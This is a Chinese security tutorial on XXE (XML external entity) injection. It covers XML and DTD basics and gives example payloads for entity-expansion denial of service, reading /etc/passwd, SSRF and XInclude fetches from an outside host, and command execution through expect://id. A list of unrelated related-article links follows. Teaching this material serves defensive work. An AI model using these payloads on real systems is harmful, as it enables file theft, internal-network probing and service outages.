OWASP TOP 10-XML外部实体(XXE)

文章目录

XML基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML外部实体注入简称XXE漏洞:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

漏洞原理

允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

复制代码
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

根元素 [元素声明]>

引用外部DTD

根元素 SYSTEM "文件名">

或者

根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体

实体名称 "实体的值">

引用外部实体

实体名称 SYSTEM "URI">

或者

实体名称 PUBLIC "public_ID" "URI">

攻击方式

拒绝服务攻击

复制代码
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取

复制代码
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

SSRF

复制代码
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

RCE

复制代码
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

XInclude

复制代码
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

未知攻焉知防------XXE漏洞攻防

https://security.tencent.com/index.php/blog/msg/69

相关推荐
No Big Deal2 小时前
ctfshow-_Web应用安全与防护-Base64多层嵌套解码
安全
Oxo Security3 小时前
【AI安全】检索增强生成(RAG)
人工智能·安全·网络安全·ai
2301_795167204 小时前
玩转Rust高级应用 如何让让运算符支持自定义类型,通过运算符重载的方式是针对自定义类型吗?
开发语言·后端·算法·安全·rust
合作小小程序员小小店7 小时前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
Fanmeang9 小时前
华为防火墙基础功能详解:构建网络安全的基石
运维·网络·安全·华为·防火墙·策略·安全域
数字供应链安全产品选型9 小时前
公示 | 悬镜安全通过首批《信息技术 软件物料清单数据格式规范》行业标准符合性试点验证
安全
AWS官方合作商9 小时前
AWS Lambda的安全之道:S3静态加密与运行时完整性检查的双重保障
安全·云计算·aws
MarkHD9 小时前
蓝牙钥匙 第69次 蓝牙钥匙安全与便捷性平衡:从理论到实践的全方位解析
网络·人工智能·安全
还是奇怪9 小时前
隐藏在字符编码中的陷阱:深入剖析宽字节注入
数据库·sql·安全·web安全
花落已飘10 小时前
openEuler安全特性深度评测:构建企业级安全防护体系
安全·ai